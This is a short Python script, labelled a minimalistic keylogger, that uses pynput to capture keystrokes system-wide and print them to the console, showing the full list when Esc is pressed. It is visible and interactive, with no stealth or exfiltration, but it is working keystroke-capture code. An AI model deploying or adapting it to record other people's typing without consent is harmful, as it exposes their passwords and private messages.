from pynput import keyboard
import os

keys_pressed = []
class quit_exception(Exception):
    pass

def on_press(key):
    global keys_pressed
    if key == keyboard.Key.shift:
        return
    elif key == keyboard.Key.esc:
        raise quit_exception()
    else:
        keys_pressed.append(str(key).replace("'", "").replace("Key.", ""))
        print(str(key).replace("'", "").replace("Key.", ""))


if __name__ == "__main__": 
    os.system('cls' if os.name == 'nt' else 'clear')
    input("Minimalistic Python keylogger - Press Enter to start. - Press Esc to show results\n")
    os.system('cls' if os.name == 'nt' else 'clear')
    while True:
        with keyboard.Listener(on_press=on_press) as listener:
            try:
                listener.join()
            except:
                os.system('cls' if os.name == 'nt' else 'clear')            
                print("\n", *keys_pressed, sep=" ")
                input("\n Press Enter to resume.\n ")
                os.system('cls' if os.name == 'nt' else 'clear')